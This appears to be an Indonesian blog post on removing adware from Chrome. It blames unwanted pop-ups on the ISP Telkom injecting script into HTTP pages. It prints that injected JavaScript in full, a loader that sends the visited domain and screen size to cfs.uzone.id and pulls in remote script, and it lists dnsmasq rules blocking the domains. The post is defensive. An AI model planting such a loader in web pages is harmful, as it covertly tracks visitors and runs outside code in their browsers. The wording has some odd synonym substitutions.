Cara Mengatasi Google Chrome Terkena Virus - Menghapus Malware & Adware Telkom

Sebelum membuatkan tips "Cara Mengatasi Google Chrome Terkena Virus: Menghapus Malware & Adware" ini , CB sudah berbagi Cara Mengatasi Google Chrome Error 'Aw Snap' Tak Bisa Buka Halaman Web.

Posting ini dibentuk alasannya yaitu CB gres saja mengalaminya, menurut "laporan" antivirus Avast! yang dipasang di komputer:

Notifikasi itu muncul setiap kali membuka halaman gres http (not secure). Jika buka web yang https aman-aman saja.

Di Google Product Forum juga ada yang bertanya: "Kenapa Google Chrome aku ada iklan yang tidak baik? Bagaimana cara memulihkannya?"

Ada yang menjawab, tampaknya perangkat kau terkena virus/malware yang mengubah beranda dan situs pencarian kamu.

Kami sarankan biar kau memakai antivirus untuk menghapus virus yang ada di perangkat kamu.

Jika kau tidak berhasil menghapus malware dengan memakai Alat Pembersih Chrome untuk Windows,

Kamu juga sanggup coba gunakan pembersih malware https://www.malwarebytes.com/ untuk mengatasi persoalan kamu.

Atau memakai cara berikut,
1. Menghapus perangkat lunak yang memengaruhi Chrome
2. Membuang munculan, pengalihan, dan perangkat lunak perusak lainnya

Selain itu, coba ubah kembali mesin penelusuran menjadi Google dengan panduan Menjadikan Google sebagai mesin telusur default.

Jangan Lupa untuk me-restart computer kau sehabis melaksanakan scan malware tsb.

CB buka Panduan Chrome cara menghapus malware, pop-up & iklan yang tidak diinginkan

Disebutkan, jikalau beberapa persoalan di bawah ini muncul di Chrome, artinya ada software yang tidak diinginkan atau malware terinstal di komputer Anda.

• Iklan pop-up dan tab gres yang tidak sanggup ditutup
• Halaman beranda atau mesin telusur Chrome selalu berubah tanpa izin Anda
• Ekstensi Chrome atau toolbar yang tidak diinginkan terus muncul
• Browsing dibajak dan diarahkan ke halaman atau iklan yang tidak dikenal
• Peringatan wacana virus atau perangkat yang terinfeksi

Kita disarankan menghindari software yang tidak diinginkan dengan hanya mendownload file atau membuka situs yang terjamin keamanannya.

Kita sanggup mengusut malware secara manual. Caranya:

1. Buka Chrome.
2. Di kanan atas, klik Lainnya  > Setelan.
3. Di bab bawah, klik Lanjutan.
4. Di bab “Setel ulang dan bersihkan”, klik Bersihkan komputer.
5. Klik Cari.

Jika diminta untuk menghapus software yang tidak diinginkan, klik Hapus.

Jika Anda menghapus agenda yang tidak diinginkan atau menyetel ulang setelan browser, mungkin beberapa ekstensi perlu diaktifkan kembali. 

Untuk mengaktifkan ekstensi, di kanan atas, klik Lainnya  > Fitur Lainnya > Ekstensi.

Ketika CB melaksanakan saran di atas, usai klik Cari (Find), hasilnya: "No harmful software found". Walah, kemudian apa dong masalahnya? Avast bilang malware itu adanya di Chrome kok!

Kerjaan Telkom

Oh.. rupanya ini "ulah Telkom!"

Di lembaga Github terungkap, Telkom menginjeksi atau menyisipkan script. Ini daftarnya:

Daftar DOMAIN Internet Positif Telkom Indihome

1. a01.uadexchange.com
2. cdn.uzone.id
3. cdn3.uzone.id
4. cfs.uzone.id
5. csf.uzone.id
6. d01.notifa.info
7. d31qbv1cthcecs.cloudfront.net
8. d5nxst8fruw4z.cloudfront.net
9. expose.uzone.id
10. kendedes.uzone.id
11. mercusuar.uzone.id
12. p01.notifa.info
13. p02.notifa.info
14. p03.notifa.info
15. p05.notifa.info
16. usearch.co.id
17. welcome.indihome.co.id
18. upoint.id
19. uzone.id

Untuk Untuk memblokir domain/subdomain tambahkan di dnsmasq.conf

address=/notifa.info/0.0.0.0 

address=/uzone.id/0.0.0.0

Script JS

Ini referensi script yang diinject ke http:

<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHa6dUEiP6K%2fc5C582CL4NjpNgssKlLXmbTBE8IzDXCSPaiFHvyt8Q5fsYRny8X3ds6Lr7ToQwJBBAp5P%2bjKK12yr0FxrJb1ixNQVSm4FoVHOKcl3FNknXhjy%2bbVesNHJhD0cCTqdRhNvFS0F6iEXZjxMPE3QuLIQu%2frXcHuCJy3hLU4QFreC0HijsnOoLN%2ftyF0wyfyQL9NHY5W5Br2BHrjRKwDTSCJyVRi2MgeTRvJMZVrSHP%2fCKKzZJVTdtpmz9FQNiKCuhOcpWNNB2wEs1InhywhlXi%2bg%2fLs%2fI2ie5DhFiM%2fgiztMMQzXL11mHZirYErQELDIzGuYbIPcenKjW9OvxhUTTu%2bhOUc1nVkHoQAGhL0XfVqhaDPXofJbg9VGJdSA3sUnqqb%2fETChCJuhAL772tWxEYNBTEEb4lmYvGTg9WtXovN8WJhpghbYXxaRdpGeF77EkYtES3Fgvx3BJKDBSVCoLZ9Im4O5XCwtGWuPTsZfC8EiyYqCTAWPdaoqalbgI0gmD31qSGRwIq03O%2f2JQPFAx6bGaHg%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script>

Solusinya, gunakan DNSCrypt atau bagi pemilik website gunakan SSL (https) biar ngga sanggup di inject oleh Telkom.

Avast! juga sudah memblokirnya dengan "connection aborted".